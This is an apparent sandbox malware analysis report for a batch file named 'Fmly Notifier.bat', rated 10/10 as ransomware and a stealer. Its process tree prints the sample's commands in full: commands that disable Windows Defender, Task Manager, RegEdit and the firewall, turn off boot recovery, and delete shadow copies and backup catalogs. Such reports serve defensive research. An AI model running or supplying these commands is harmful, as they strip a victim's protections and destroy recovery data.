Overview

overview

10

Static

static

1

Fmly Notifier.bat

windows10-2004-x64

10

Fmly Notifier.bat

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 07:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Fmly Notifier.bat
  • Size 3KB
  • Sample260930-jft2baydke
  • SHA256 edf5ab8e797cdc6365b95b8c7e42d438da1b6ef030db2c18b2d91b50e5555abb
  • MD5 SHA1 SHA512 TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in System32 directory 44 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 22 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fmly Notifier.bat"
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:3988
      • C:\Windows\system32\notepad.exe
        notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:4696
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
        2⤵
          PID:4604
        • C:\Windows\system32\reg.exe
          reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
          2⤵
            PID:3804
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:2728
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:1272
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:3648
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:4152
          • C:\Windows\system32\net.exe
            net stop WinDefend /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2668
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop WinDefend /y
              3⤵
                PID:5064
            • C:\Windows\system32\net.exe
              net stop wscsvc /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2028
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop wscsvc /y
                3⤵
                  PID:4796
              • C:\Windows\system32\netsh.exe
                netsh advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4028
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                2⤵
                  PID:1916
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                  2⤵
                    PID:560
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                    2⤵
                    • Disables RegEdit via registry modification
                    PID:1868
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1856
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled no
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1172
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:2396
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic shadowcopy delete
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2016
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin delete catalog -quiet
                    2⤵
                    • Deletes backup catalog
                    PID:720
                  • C:\Windows\system32\attrib.exe
                    attrib -h -r -s C:\Windows\System32\config\*
                    2⤵
                    • Drops file in System32 directory
                    • Views/modifies file attributes
                    PID:4784
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:384
                • C:\Windows\system32\wbengine.exe
                  "C:\Windows\system32\wbengine.exe"
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4172
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:4544
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Checks SCSI registry key(s)
                    PID:2200
                  • C:\Windows\system32\rundll32.exe
                    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
                    1⤵
                      PID:1784
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2240
                    • C:\Windows\system32\rundll32.exe
                      "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
                      1⤵
                        PID:276
                      • C:\Windows\system32\rundll32.exe
                        "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
                        1⤵
                          PID:2096
                        • C:\Windows\system32\rundll32.exe
                          "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
                          1⤵
                            PID:3952
                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                            1⤵
                            • Enumerates system info in registry
                            • Modifies registry class
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SetWindowsHookEx
                            PID:1952
                          • C:\Windows\system32\rundll32.exe
                            "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
                            1⤵
                              PID:3632
                            • C:\Windows\system32\OpenWith.exe
                              C:\Windows\system32\OpenWith.exe -Embedding
                              1⤵
                              • Modifies registry class
                              • Suspicious behavior: GetForegroundWindowSpam
                              • Suspicious use of SetWindowsHookEx
                              PID:552

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Command and Scripting Interpreter

                                  2
                                  T1059

                                  Windows Command Shell

                                  1
                                  T1059.003

                                  Windows Management Instrumentation

                                  1
                                  T1047

                                  Persistence

                                  Create or Modify System Process

                                  3
                                  T1543

                                  Windows Service

                                  3
                                  T1543.003

                                  Event Triggered Execution

                                  1
                                  T1546

                                  Netsh Helper DLL

                                  1
                                  T1546.007

                                  Privilege Escalation

                                  Create or Modify System Process

                                  3
                                  T1543

                                  Windows Service

                                  3
                                  T1543.003

                                  Event Triggered Execution

                                  1
                                  T1546

                                  Netsh Helper DLL

                                  1
                                  T1546.007

                                  Defense Evasion

                                  Direct Volume Access

                                  1
                                  T1006

                                  Hide Artifacts

                                  1
                                  T1564

                                  Hidden Files and Directories

                                  1
                                  T1564.001

                                  Impair Defenses

                                  3
                                  T1562

                                  Disable or Modify System Firewall

                                  1
                                  T1562.004

                                  Disable or Modify Tools

                                  2
                                  T1562.001

                                  Indicator Removal

                                  3
                                  T1070

                                  File Deletion

                                  3
                                  T1070.004

                                  Modify Registry

                                  2
                                  T1112

                                  Credential Access

                                  Credentials from Password Stores

                                  1
                                  T1555

                                  Credentials from Web Browsers

                                  1
                                  T1555.003

                                  Unsecured Credentials

                                  1
                                  T1552

                                  Credentials In Files

                                  1
                                  T1552.001

                                  Discovery

                                  Peripheral Device Discovery

                                  1
                                  T1120

                                  Query Registry

                                  3
                                  T1012

                                  System Information Discovery

                                  2
                                  T1082

                                  System Network Configuration Discovery

                                  1
                                  T1016

                                  Lateral Movement

                                  Collection

                                  Data from Local System

                                  1
                                  T1005

                                  Command and Control

                                  Exfiltration

                                  Impact

                                  Inhibit System Recovery

                                  4
                                  T1490

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  microsoft.windows[1].xml
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\B7MYQWB7\microsoft.windows[1].xml
                                  • Size 97B
                                  • SHA256 b7225f6b3013ddb42e066ef4cc8c824701e824bc10b96873ee7f0ec8e8a1c4ef
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  MSEdge
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\MSEdge
                                  • Size 36KB
                                  • SHA256 136808af50ee73df9befd76f7aca21765782565b0095227c5a287f3be0b5ef3c
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  Microsoft_AutoGenerated_{2F519BF2-C697-59F8-8F6A-1E19509CE66B}
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{2F519BF2-C697-59F8-8F6A-1E19509CE66B}
                                  • Size 36KB
                                  • SHA256 813c66ce7dec4cff9c55fb6f809eab909421e37f69ff30e4acaa502365a32bd1
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_comexp_msc
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_comexp_msc
                                  • Size 36KB
                                  • SHA256 fdf01d2265452465fcbed01f1fdd994d8cbb41a40bbb1988166604c5450ead47
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  0.0.filtertrie.intermediate.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a342789e-5ddd-4cdc-8d09-a9aadc2d326c}\0.0.filtertrie.intermediate.txt
                                  • Size 30KB
                                  • SHA256 83773fb0d9d964e9bbafe78f03a8efb0f414c270aacb992860f7c99c2b6b6cb9
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  0.1.filtertrie.intermediate.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a342789e-5ddd-4cdc-8d09-a9aadc2d326c}\0.1.filtertrie.intermediate.txt
                                  • Size 5B
                                  • SHA256 8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c
                                  • MD5 SHA1 SHA512
                                  Submit Download

                                  0.2.filtertrie.intermediate.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a342789e-5ddd-4cdc-8d09-a9aadc2d326c}\0.2.filtertrie.intermediate.txt
                                  • Size 5B
                                  • SHA256 d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f
                                  • MD5 SHA1 SHA512
                                  Submit Download

                                  Apps.ft
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a342789e-5ddd-4cdc-8d09-a9aadc2d326c}\Apps.ft
                                  • Size 41KB
                                  • SHA256 770977f2c757b70eb75a712e8b9d0bbe49702ced74b66702d9b80009bab5d9d8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  Apps.index
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a342789e-5ddd-4cdc-8d09-a9aadc2d326c}\Apps.index
                                  • Size 1.0MB
                                  • SHA256 8112baca5165eb3952279745115704552c3fa59bd39e1eab0c8df25e773ef9e9
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  apps.csg
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{9e1ae8e3-98f0-4443-9c75-58629eb42fbb}\apps.csg
                                  • Size 444B
                                  • SHA256 0b0af873ef116a51fc2a2329dc9102817ce923f32a989c7a6846b4329abd62cd
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  apps.schema
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{9e1ae8e3-98f0-4443-9c75-58629eb42fbb}\apps.schema
                                  • Size 150B
                                  • SHA256 5af0fc2a0b5ccecdc04e54b3c60f28e3ff5c7d4e1809c6d7c8469f0567c090bb
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  appsconversions.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{9e1ae8e3-98f0-4443-9c75-58629eb42fbb}\appsconversions.txt
                                  • Size 1.4MB
                                  • SHA256 8b9fae5ea9dd21c2313022e151788b276d995c8b9115ee46832b804a914e6307
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  appsglobals.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{9e1ae8e3-98f0-4443-9c75-58629eb42fbb}\appsglobals.txt
                                  • Size 343KB
                                  • SHA256 541dfa71a3728424420f082023346365cca013af03629fd243b11d8762e3403e
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  appssynonyms.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{9e1ae8e3-98f0-4443-9c75-58629eb42fbb}\appssynonyms.txt
                                  • Size 237KB
                                  • SHA256 2aa90f795a65f0e636154def7d84094af2e9a5f71b1b73f168a6ea23e74476d1
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  AppCache134352274462131218.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134352274462131218.txt
                                  • Size 86KB
                                  • SHA256 06eb381b67d6b30895b5f67244563748db019af21423749adcfa9e5735085b59
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  SettingsCache.txt
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt
                                  • Size 670KB
                                  • SHA256 4aa1fa29fd0a2d15b9204426cfee2e348dcf65f5b444b53fc5425a0418a3fdcd
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  IDX_CONTENT_TASKBARHEADLINES.json
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json
                                  • Size 327KB
                                  • SHA256 dcaba19b5a381d959611882987e328a7d1f37357012d451caaca5e47cf4f2daa
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  CortanaUnifiedTileModelCache.dat
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
                                  • Size 19KB
                                  • SHA256 1b3eb874aeaf696df4844c51dc2be862456f70a004ddd3f54e5c1029ab85f4b7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  CortanaUnifiedTileModelCache.dat
                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
                                  • Size 20KB
                                  • SHA256 3b29506cfce81664832bcedb657c1bf527e7db83bbabccba3011fd18b7aa944a
                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                  Submit Download

                                  NOTICE.txt
                                  • Path C:\Users\Public\Desktop\NOTICE.txt
                                  • Size 84B
                                  • SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
                                  • MD5 SHA1 SHA512 TLSH
                                  Submit Download

                                  memory/1952-71-0x000001FFC7F60000-0x000001FFC8060000-memory.dmp
                                  Download

                                  memory/1952-111-0x000001FFC9540000-0x000001FFC9560000-memory.dmp
                                  Download

                                  memory/1952-107-0x000001FFC8FA0000-0x000001FFC8FC0000-memory.dmp
                                  Download

                                  memory/1952-76-0x000001FFC8FE0000-0x000001FFC9000000-memory.dmp
                                  Download

                                  memory/1952-72-0x000001FFC7F60000-0x000001FFC8060000-memory.dmp
                                  Download

                                  memory/2240-51-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-56-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-65-0x000001A2FA6F0000-0x000001A2FA6F1000-memory.dmp
                                  Download

                                  memory/2240-67-0x000001A2FAA00000-0x000001A2FAA01000-memory.dmp
                                  Download

                                  memory/2240-66-0x000001A2FA6F0000-0x000001A2FA6F1000-memory.dmp
                                  Download

                                  memory/2240-69-0x000001A2FA750000-0x000001A2FA751000-memory.dmp
                                  Download

                                  memory/2240-68-0x000001A2FA750000-0x000001A2FA751000-memory.dmp
                                  Download

                                  memory/2240-64-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-61-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-62-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-60-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-59-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-57-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-58-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-55-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-63-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-54-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-53-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-52-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-49-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-50-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-48-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-47-0x000001A2FA6E0000-0x000001A2FA6E1000-memory.dmp
                                  Download

                                  memory/2240-45-0x000001A2FA6C0000-0x000001A2FA6C1000-memory.dmp
                                  Download

                                  memory/2240-46-0x000001A2FA6C0000-0x000001A2FA6C1000-memory.dmp
                                  Download

                                  memory/2240-43-0x000001A2FA6B0000-0x000001A2FA6B1000-memory.dmp
                                  Download

                                  memory/2240-44-0x000001A2FA6C0000-0x000001A2FA6C1000-memory.dmp
                                  Download

                                  memory/2240-41-0x000001A2FA6B0000-0x000001A2FA6B1000-memory.dmp
                                  Download

                                  memory/2240-39-0x000001A2FA570000-0x000001A2FA571000-memory.dmp
                                  Download

                                  memory/2240-4-0x000001A2EA240000-0x000001A2EA250000-memory.dmp
                                  Download

                                  memory/2240-20-0x000001A2EA340000-0x000001A2EA350000-memory.dmp
                                  Download